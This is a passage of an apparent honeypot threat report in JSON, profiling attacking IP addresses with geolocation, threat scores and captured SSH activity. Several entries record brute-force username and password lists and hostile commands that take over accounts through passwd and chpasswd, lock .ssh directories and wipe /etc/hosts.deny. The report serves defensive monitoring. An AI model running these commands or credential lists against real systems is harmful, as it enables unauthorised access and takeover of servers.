        "last_seen_30d": "2026-03-02T13:15:40.772000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "75.91.89.101": {
      "attack_count": 2,
      "first_seen": "2026-03-05T04:04:22.104Z",
      "last_seen": "2026-03-05T04:04:52.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Concord",
      "asn": 7029,
      "as_org": "Windstream Communications LLC",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:04:22.104000+00:00",
        "last_seen_30d": "2026-03-18T08:12:27.607000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "77.120.123.166": {
      "attack_count": 2,
      "first_seen": "2026-03-22T00:19:18.922Z",
      "last_seen": "2026-03-22T00:19:18.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 35680,
      "as_org": "Volia-Cable LLC",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T15:56:35+00:00",
        "last_seen_30d": "2026-03-22T00:20:26.224000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "8.213.230.218": {
      "attack_count": 2,
      "first_seen": "2026-03-21T20:40:33.344Z",
      "last_seen": "2026-03-21T20:41:04.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:40:33.344000+00:00",
        "last_seen_30d": "2026-03-21T20:42:08.125000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "90.119.113.249": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:58:36.793Z",
      "last_seen": "2026-03-28T01:58:50.045Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Toulon",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:58:36.793000+00:00",
        "last_seen_30d": "2026-03-28T01:59:58.482000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.35.25.111": {
      "attack_count": 2,
      "first_seen": "2026-03-10T21:01:09.109Z",
      "last_seen": "2026-03-10T21:01:39.610Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Link\u00f6ping",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T21:01:09.109000+00:00",
        "last_seen_30d": "2026-03-10T21:02:47.487000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.107.22.127": {
      "attack_count": 2,
      "first_seen": "2026-03-03T02:42:55.005Z",
      "last_seen": "2026-03-03T02:43:07.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kaluga",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:42:55.005000+00:00",
        "last_seen_30d": "2026-03-03T02:44:17.445000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.20.185.252": {
      "attack_count": 85395,
      "first_seen": "2026-03-02T14:00:42.968Z",
      "last_seen": "2026-03-18T17:04:20.383Z",
      "sessions": 16949,
      "ports": [],
      "usernames_attempted": [
        "user",
        "root",
        "ubuntu",
        "dell",
        "lenovo",
        "admin",
        "test",
        "aa",
        "debian",
        "ee",
        "lk",
        "dd",
        "git",
        "hk",
        "ap",
        "ax",
        "ds",
        "dv",
        "jz",
        "lj"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "111111",
        "000000",
        "123abc",
        "abcd1234",
        "abc123",
        "123123",
        "asd123",
        "password",
        "!@#$%^&*()",
        "12345",
        "123qwe",
        "1ZAQ2xsw",
        "2xsw1zaq",
        "P@ssw0rd",
        "Passw0rd!@",
        "Password123456"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214209,
      "as_org": "Internet Magnate (Pty) Ltd",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 122240,
        "days_active_30d": 17,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:00:42.968000+00:00",
        "last_seen_30d": "2026-03-18T17:05:22.885000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 85395,
        "Suricata": 36845
      }
    },
    "38.188.160.205": {
      "attack_count": 9304,
      "first_seen": "2026-03-10T22:59:59.058Z",
      "last_seen": "2026-03-11T00:41:02.473Z",
      "sessions": 1860,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "00001",
        "000013",
        "000666",
        "001972",
        "001974",
        "01011979",
        "010189",
        "010190",
        "010191",
        "01020304051",
        "01031988",
        "0104",
        "01041990",
        "010488",
        "010491",
        "010587",
        "01061989",
        "010689",
        "01071986",
        "01071987"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13053,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:59:59.058000+00:00",
        "last_seen_30d": "2026-03-11T00:41:02.473000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9304,
        "Suricata": 3749
      }
    },
    "217.182.137.175": {
      "attack_count": 2508,
      "first_seen": "2026-03-13T08:54:50.621Z",
      "last_seen": "2026-03-13T13:33:58.560Z",
      "sessions": 1254,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5262,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T08:34:58.470000+00:00",
        "last_seen_30d": "2026-03-13T13:35:05.833000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2508,
        "Suricata": 2317,
        "Honeytrap": 437
      }
    },
    "41.142.24.168": {
      "attack_count": 2322,
      "first_seen": "2026-03-29T00:52:43.793Z",
      "last_seen": "2026-03-30T00:51:30.179Z",
      "sessions": 774,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4133,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T00:52:43.793000+00:00",
        "last_seen_30d": "2026-03-30T00:52:39.871000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2322,
        "Suricata": 1811
      }
    },
    "178.62.86.233": {
      "attack_count": 930,
      "first_seen": "2026-03-07T21:02:46.157Z",
      "last_seen": "2026-03-08T00:12:28.080Z",
      "sessions": 185,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "guest",
        "admin",
        "daemon",
        "dev",
        "developer",
        "elastic",
        "elasticsearch",
        "es",
        "ftptest",
        "ftpuser",
        "dspace",
        "git",
        "hadoop",
        "backup",
        "docker",
        "master"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "321",
        "21",
        "P4$w0rd",
        "P4$word",
        "P455word",
        "P@$w0rd",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1336,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T21:02:46.157000+00:00",
        "last_seen_30d": "2026-03-08T00:13:37.246000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 930,
        "Suricata": 406
      }
    },
    "59.126.224.134": {
      "attack_count": 596,
      "first_seen": "2026-03-02T23:43:42.186Z",
      "last_seen": "2026-03-16T02:17:33.475Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "admin1",
        "dev1",
        "kishore",
        "steam",
        "wilson",
        "work",
        "ax",
        "bert",
        "cody",
        "comunicacao",
        "crafty",
        "dev",
        "ems",
        "frappeuser",
        "frontend",
        "ftpuser",
        "git",
        "jellyfin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "password",
        "1233218613",
        "12345",
        "@qwer2024",
        "@qwer2025",
        "Bert123!",
        "Jellyfin123",
        "Jun123",
        "Steam",
        "X123",
        "abc123xyz",
        "bbbbbbbb",
        "cody123",
        "dev1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nWvjpsS5wUUqq\\nWvjpsS5wUUqq\\n\"|passwd",
        "echo \"123\\nwy7DojtCzpcv\\nwy7DojtCzpcv\\n\"|passwd",
        "echo \"Steam\\nk8bvpcXPt5jd\\nk8bvpcXPt5jd\\n\"|passwd",
        "echo \"kishore123\\nbqkpaN8wTMVT\\nbqkpaN8wTMVT\\n\"|passwd",
        "echo \"root:HN9v3CUKaing\"|chpasswd|bash",
        "echo \"work123!\\nSyn89Wdx1VpI\\nSyn89Wdx1VpI\\n\"|passwd",
        "echo -e \"123\\nWvjpsS5wUUqq\\nWvjpsS5wUUqq\"|passwd|bash",
        "echo -e \"123\\nwy7DojtCzpcv\\nwy7DojtCzpcv\"|passwd|bash",
        "echo -e \"Steam\\nk8bvpcXPt5jd\\nk8bvpcXPt5jd\"|passwd|bash",
        "echo -e \"kishore123\\nbqkpaN8wTMVT\\nbqkpaN8wTMVT\"|passwd|bash",
        "echo -e \"work123!\\nSyn89Wdx1VpI\\nSyn89Wdx1VpI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yuanlin",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 704,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:43:42.186000+00:00",
        "last_seen_30d": "2026-03-16T02:18:43.187000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 596,
        "Suricata": 108
      }
    },
    "165.154.6.33": {
      "attack_count": 528,
      "first_seen": "2026-03-13T12:21:55.671Z",
      "last_seen": "2026-03-17T06:31:54.261Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "root",
        "hzy",
        "mysql",
        "shoutcast",
        "ubuntu",
        "x",
        "adm",
        "ben",
        "berlin",
        "bitrix",
        "butter",
        "datacenter",
        "dell",
        "denis",
        "dhiraj",
        "edy",
        "informix",
        "issabel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "$upp0rt",
        "12345",
        "1qaz321x",
        "Hzy123",
        "Pa$$w0rd12345",
        "Password@123",
        "Real123!",
        "adminadmin",
        "benpass",
        "berlin",
        "datacenter123",
        "dell123",
        "denis",
        "dhiraj123!",
        "dodol123",
        "edy"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n6qq6uJsRlIUG\\n6qq6uJsRlIUG\\n\"|passwd",
        "echo \"12345\\nnjsVudetl7JX\\nnjsVudetl7JX\\n\"|passwd",
        "echo \"Hzy123\\nYF0D7nqprhi1\\nYF0D7nqprhi1\\n\"|passwd",
        "echo \"adminadmin\\nw2iAr5gbgxi5\\nw2iAr5gbgxi5\\n\"|passwd",
        "echo \"pass123\\n4bDivhT8h1I6\\n4bDivhT8h1I6\\n\"|passwd",
        "echo -e \"123456\\n6qq6uJsRlIUG\\n6qq6uJsRlIUG\"|passwd|bash",
        "echo -e \"12345\\nnjsVudetl7JX\\nnjsVudetl7JX\"|passwd|bash",
        "echo -e \"Hzy123\\nYF0D7nqprhi1\\nYF0D7nqprhi1\"|passwd|bash",
        "echo -e \"adminadmin\\nw2iAr5gbgxi5\\nw2iAr5gbgxi5\"|passwd|bash",
        "echo -e \"pass123\\n4bDivhT8h1I6\\n4bDivhT8h1I6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 631,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T12:21:55.671000+00:00",
        "last_seen_30d": "2026-03-17T06:33:03.207000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 528,
        "Suricata": 103
      }
    },
    "64.236.134.34": {
      "attack_count": 468,
      "first_seen": "2026-03-21T02:11:51.210Z",
      "last_seen": "2026-03-21T07:33:58.204Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "(public key)",
        "000000",
        "1",
        "1111",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "321"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 733,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:52:04.053000+00:00",
        "last_seen_30d": "2026-03-21T07:35:00.688000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 468,
        "Suricata": 265
      }
    },
    "49.247.37.22": {
      "attack_count": 435,
      "first_seen": "2026-03-07T11:08:23.114Z",
      "last_seen": "2026-03-24T04:28:40.434Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "amp",
        "xbmc",
        "zhangjh",
        "David",
        "alex",
        "allen",
        "bot",
        "dario",
        "dheeraj",
        "elastic",
        "external",
        "hik",
        "ibrahim",
        "lab",
        "mahdi",
        "mukesh",
        "nico",
        "nuc"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "12345",
        "Aa123456~",
        "Aa@123456..",
        "Lab123",
        "User123",
        "Welkom01",
        "Zxy123!",
        "admin1",
        "alexpass",
        "allen1234",
        "amp",
        "elastic123!",
        "external",
        "mahdi2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"amp\\nuyUEXXvVW4cA\\nuyUEXXvVW4cA\\n\"|passwd",
        "echo \"root:v1DRuwV1Qolm\"|chpasswd|bash",
        "echo \"xbmc123!\\nwG6cGgEOA9bt\\nwG6cGgEOA9bt\\n\"|passwd",
        "echo \"zhangjh123!\\nYDTZXuKLs8sc\\nYDTZXuKLs8sc\\n\"|passwd",
        "echo -e \"amp\\nuyUEXXvVW4cA\\nuyUEXXvVW4cA\"|passwd|bash",
        "echo -e \"xbmc123!\\nwG6cGgEOA9bt\\nwG6cGgEOA9bt\"|passwd|bash",
        "echo -e \"zhangjh123!\\nYDTZXuKLs8sc\\nYDTZXuKLs8sc\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 41.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 529,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:08:23.114000+00:00",
        "last_seen_30d": "2026-03-24T04:29:49.018000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 94
      }
    },
    "103.250.11.96": {
      "attack_count": 429,
      "first_seen": "2026-03-05T07:01:07.772Z",
      "last_seen": "2026-03-11T23:20:12.289Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "qbtuser",
        "admin",
        "atlas",
        "client1",
        "dheeraj",
        "excel",
        "fastuser",
        "francisco",
        "frappe",
        "ftpupload",
        "httpd",
        "in",
        "n8n",
        "promo",
        "rico",
        "sambauser",
        "satisfactory"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "2024@@",
        "@a",
        "A123456789**963",
        "Aa-2025",
        "Aa@123456789",
        "QWE",
        "Root2025",
        "a12345691",
        "ab123456",
        "atlas123",
        "dheeraj",
        "frappe@1234",
        "httpd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"QWE\\nMtYUIOy2M7jJ\\nMtYUIOy2M7jJ\\n\"|passwd",
        "echo \"qbtuser123!\\nzYPSVxiZ3kFi\\nzYPSVxiZ3kFi\\n\"|passwd",
        "echo \"root:8nXWF1Ou0mVC\"|chpasswd|bash",
        "echo \"root:mT50tSX9dq75\"|chpasswd|bash",
        "echo -e \"QWE\\nMtYUIOy2M7jJ\\nMtYUIOy2M7jJ\"|passwd|bash",
        "echo -e \"qbtuser123!\\nzYPSVxiZ3kFi\\nzYPSVxiZ3kFi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:01:07.772000+00:00",
        "last_seen_30d": "2026-03-11T23:21:13.341000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 93
      }
    },
    "101.47.161.42": {
      "attack_count": 424,
      "first_seen": "2026-03-03T02:13:15.461Z",
      "last_seen": "2026-03-28T22:41:51.536Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "0000",
        "1233218613",
        "1234qwert",
        "1QAzxsw2",
        "1q2w3e4r*",
        "1qaz2wsx@@",
        "220260",
        "333333",
        "Abcd12345",
        "Admin1!",
        "Bingo@1993",
        "FuckYou",
        "Huawei@123",
        "Lx123456@",
        "QAZwsx123!@#",
        "Test@123456",
        "`1234qwer",
        "a1234"
      ],
